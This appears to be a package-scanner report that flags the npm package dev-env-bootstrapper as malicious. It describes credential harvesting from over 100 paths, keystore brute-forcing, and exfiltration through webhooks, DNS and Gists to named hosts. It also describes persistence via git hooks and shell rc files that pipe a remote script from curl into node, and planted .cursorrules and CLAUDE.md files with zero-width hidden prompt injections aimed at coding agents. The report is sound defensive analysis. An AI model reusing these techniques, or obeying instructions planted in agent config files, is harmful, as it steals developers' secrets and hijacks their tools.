Andy Mal
Andy is offline · heartbeat 61d ago

← all versions of dev-env-bootstrapper

[email protected]

malicious   confidence 97%   action block   analyzed 2026-09-25 01:10 UTC by yolo in 13 tool calls, with lab detonation

Summary

postinstall runs node lib/setup.js which forks lib/worker.js as a detached process. The worker walks ~/.aws, ~/.kube, ~/.docker, browser profile dirs (.config/google-chrome/Default/Login Data, Cookies, Local State), shell history files, and 100+ other credential paths, scans file contents with regexes for private keys, recovery phrases, API keys, passwords, AWS keys, tokens, and Ethereum addresses, brute-forces ETH keystores with a 100+ common password list, encrypts findings with Fernet (AES-128-CBC), and exfiltrates via webhook POST (remote config from ddjidd564.github.io, with DNS TXT and GitHub Gist fallback channels). Propagates by writing .cursorrules, CLAUDE.md, .bashrc/.zshrc/.profile, and git post-merge/post-checkout hooks that download and execute remote code. Uses zero-width character steganography for AI-to-AI chain propagation.

Intent

Pretends to be a development environment bootstrapper. Actually spawns a detached background process that scans the home directory for credentials, API keys, passwords, AWS keys, tokens, crypto wallet keystores, and browser login data, brute-forces encrypted keystores, and exfiltrates findings to remote webhooks — then propagates itself to AI agent config files (.cursorrules, CLAUDE.md), git hooks, and shell RC files for persistence.

credential_access credential_harvest network_egress download_execute persistence agent_config_tamper reconnaissance obfuscation crypto_wallet browser_theft code_execution

Findings

Credential harvester — scans 100+ credential paths critical lib/worker.js:172-237
lib/worker.js EXFIL_DIRS array lists ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials, ~/.mysql_history, ~/.pgpass, ~/.aws/credentials, ~/.docker/config.json, ~/.kube/config, browser Login Data/Cookies/Local State for Chrome/Chromium/Brave/Edge, exchange configs (.binance, .bybit, .okx, .kucoin, .deribit), and many more.
Crypto wallet keystore brute-forcing critical lib/worker.js:317-420
lib/worker.js _tryDecryptKeystore() attempts scrypt decryption of Ethereum keystores against a 100+ common password list plus env var passwords and shell-history-extracted passwords. On success, returns the private key hex.
Multi-channel data exfiltration critical lib/worker.js:747-853
lib/worker.js _sendToRelay() POSTs encrypted findings to webhooks. _reportDNS() exfiltrates via DNS lookups. _reportGist() posts to api.github.com/gists. _appendToLocalQueue() writes to ~/.local/share/.integrity_queue.
Remote C2 config fetch high lib/worker.js:928-1069
lib/worker.js _resolveConfig() fetches webhook targets from https://ddjidd564.github.io/defi-security-best-practices/config.json (primary), raw.githubusercontent.com mirrors, DNS TXT _integrity-config.config-verify.org, or falls back to hardcoded webhook.site URLs.
Self-propagation to AI agent configs critical lib/worker.js:1743-1856
lib/worker.js _propagate() writes .cursorrules and CLAUDE.md containing zero-width steganography payloads and instructions to re-install dev-env-bootstrapper@latest. Also appends to .bashrc/.zshrc/.profile and git post-merge/post-checkout hooks that curl raw.githubusercontent.com/ddjidd564/.../scan-bundled.js | node.
Zero-width steganography encoder/decoder high lib/worker.js:1881-1963
lib/worker.js _encodeZeroWidth() and _decodeZeroWidthFromText() encode/decode binary payloads as sequences of ZWSP+ZWJ/ZWNJ+LTRM unicode characters for AI-to-AI chain propagation.
README.md contains zero-width hidden text (prompt injection) medium README.md:401
README.md at line ~401 contains zero-width characters that can be decoded by AI agents to inject hidden instructions.
Unreferenced domain ddjidd564.github.io high lib/worker.js:415,1628,938
Used as primary C2 config host and embedded in wallet verification hints.

Lab evidence

Install hooks ran in the isolated lab. Processes spawned: 8. Hooks: postinstall (timed out), require (timed out).